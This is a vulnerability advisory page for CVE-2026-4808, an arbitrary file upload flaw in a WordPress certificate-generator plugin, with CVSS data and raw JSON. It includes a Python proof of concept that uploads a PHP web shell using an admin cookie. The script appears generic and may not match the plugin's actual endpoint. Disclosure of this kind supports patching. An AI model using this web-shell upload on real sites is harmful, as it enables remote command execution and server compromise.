Security Vulnerability Report
中文
CVE-2026-4808 CVSS 7.2 HIGH

CVE-2026-4808

Published: 2026-04-08 07:16:23
Last Modified: 2026-04-27 19:04:23

Description

The Gerador de Certificados – DevApps plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the moveUploadedFile() function in all versions up to, and including, 1.3.6. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gerador de Certificados – DevApps <= 1.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=devapps-certificate-generator" upload_url = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxx=...; wp-admin_session=..." # Malicious PHP shell content php_code = "<?php system($_GET['cmd']); ?>" # Prepare the file payload files = { 'file': ('shell.php', php_code, 'application/x-php') } # Headers with authentication headers = { 'Cookie': admin_cookie } # Send the upload request response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200 and "success" in response.text: print("[+] File uploaded successfully!") print(f"[+] Access your shell at: http://example.com/wp-content/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4808", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:22.517", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gerador de Certificados – DevApps plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the moveUploadedFile() function in all versions up to, and including, 1.3.6. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gerador-de-certificados-devapps/trunk/admin/class-devapps-certificate-generator-admin.php#L346", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/870bf5fe-00c6-48fe-b9e6-e8233c689b71?source=cve", "source": "[email protected]"}]}}